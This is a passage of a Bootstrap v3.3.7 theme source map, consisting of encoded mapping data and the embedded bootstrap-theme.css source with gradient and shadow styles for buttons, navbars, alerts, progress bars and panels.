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","file":"bootstrap-theme.css","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.btn-default:active,\n.btn-primary:active,\n.btn-success:active,\n.btn-info:active,\n.btn-warning:active,\n.btn-danger:active,\n.btn-default.active,\n.btn-primary.active,\n.btn-success.active,\n.btn-info.active,\n.btn-warning.active,\n.btn-danger.active {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-default.disabled,\n.btn-primary.disabled,\n.btn-success.disabled,\n.btn-info.disabled,\n.btn-warning.disabled,\n.btn-danger.disabled,\n.btn-default[disabled],\n.btn-primary[disabled],\n.btn-success[disabled],\n.btn-info[disabled],\n.btn-warning[disabled],\n.btn-danger[disabled],\nfieldset[disabled] .btn-default,\nfieldset[disabled] .btn-primary,\nfieldset[disabled] .btn-success,\nfieldset[disabled] .btn-info,\nfieldset[disabled] .btn-warning,\nfieldset[disabled] .btn-danger {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-default .badge,\n.btn-primary .badge,\n.btn-success .badge,\n.btn-info .badge,\n.btn-warning .badge,\n.btn-danger .badge {\n text-shadow: none;\n}\n.btn:active,\n.btn.active {\n background-image: none;\n}\n.btn-default {\n background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #dbdbdb;\n text-shadow: 0 1px 0 #fff;\n border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus {\n background-color: #e0e0e0;\n background-position: 0 -15px;\n}\n.btn-default:active,\n.btn-default.active {\n background-color: #e0e0e0;\n border-color: #dbdbdb;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n background-color: #e0e0e0;\n background-image: none;\n}\n.btn-primary {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #245580;\n}\n.btn-primary:hover,\n.btn-primary:focus {\n background-color: #265a88;\n background-position: 0 -15px;\n}\n.btn-primary:active,\n.btn-primary.active {\n background-color: #265a88;\n border-color: #245580;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n background-color: #265a88;\n background-image: none;\n}\n.btn-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #3e8f3e;\n}\n.btn-success:hover,\n.btn-success:focus {\n background-color: #419641;\n background-position: 0 -15px;\n}\n.btn-success:active,\n.btn-success.active {\n background-color: #419641;\n border-color: #3e8f3e;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n background-color: #419641;\n background-image: none;\n}\n.btn-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n background-color: #2aabd2;\n background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n background-color: #2aabd2;\n border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n background-color: #2aabd2;\n background-image: none;\n}\n.btn-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n background-color: #eb9316;\n background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n background-color: #eb9316;\n border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n background-color: #eb9316;\n background-image: none;\n}\n.btn-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n background-color: #c12e2a;\n background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n background-color: #c12e2a;\n border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #c12e2a;\n background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n background-color: #e8e8e8;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n background-color: #2e6da4;\n}\n.navbar-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25);\n}\n.navbar-inverse {\n background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n@media (max-width: 767px) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n }\n}\n.alert {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.alert-success {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n border-color: #b2dba1;\n}\n.alert-info {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n border-color: #9acfea;\n}\n.alert-warning {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n border-color: #f5e79e;\n}\n.alert-danger {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n border-color: #dca7a7;\n}\n.progress {\n background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n}\n.progress-bar {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n}\n.progress-bar-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n}\n.progress-bar-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n}\n.progress-bar-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n}\n.progress-bar-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n}\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.list-group {\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 #286090;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n text-shadow: none;\n}\n.panel {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.panel-default > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n}\n.panel-primary > .panel-heading {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n}\n.panel-success > .panel-heading {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n}\n.panel-info > .panel-heading {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n}\n.panel-warning > .panel-heading {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n}\n.panel-danger > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n}\n.well {\n background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n border-color: #dcdcdc;\n -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */","/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and 